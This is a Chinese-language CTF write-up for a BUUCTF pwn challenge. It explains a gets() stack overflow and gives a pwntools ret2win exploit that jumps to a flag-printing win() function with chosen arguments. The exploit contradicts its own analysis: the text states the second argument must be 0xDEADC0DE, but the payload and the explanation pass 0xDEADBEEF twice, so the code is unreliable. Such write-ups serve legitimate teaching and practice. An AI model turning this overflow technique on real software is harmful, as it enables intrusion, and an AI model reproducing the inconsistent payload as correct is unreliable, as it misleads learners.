1.checksec
2.ida
主要漏洞在vuln()里面,gets函数有栈溢出漏洞,s距离ebp为0x6C
又发现可疑函数win(),点进去看发现只要该函数的两个参数a1和a2满足相应的条件(a1 == -559038737 && a2 == -559038242)就可以直接打印flag。将条件中的数字转换为16进制为a1 == 0xDEADBEEF && a2 == 0xDEADC0DE。
故该题思路为利用栈溢出溢出返回地址到win函数然后传递正确的参数a1与a2使其输出flag,先上exp。
3.exp
from pwn import*
p=remote('node5.buuoj.cn',26902)
payload=b'a'*0x70+p32(0x80485CB)+p32(0)+p32(0x0DEADBEEF)+p32(0x0DEADBEEF)
p.sendline(payload)
p.interactive()
0x80485CB为win函数地址,p32(0)为了填充win函数的返回地址,因为win函数的参数是从返回地址的下一个开始传的,可以从汇编代码看出
可以看出a1的地址为ebp+arg_0,a2的地址为ebp+arg_4,从上面可以看出,arg_0为8,arg_4为12,两个参数的地址是挨着的,然后ebp+4的位置正好是win函数返回地址的位置,故需要随便一个4字节的junk来填充一下该处,然后才能将0x0DEADBEEF和0x0DEADBEEF放到a1与a2对应的位置。虽然此时win函数的返回地址是不存在的,但在它返回之前就已经打印出flag了。
最后打印出flag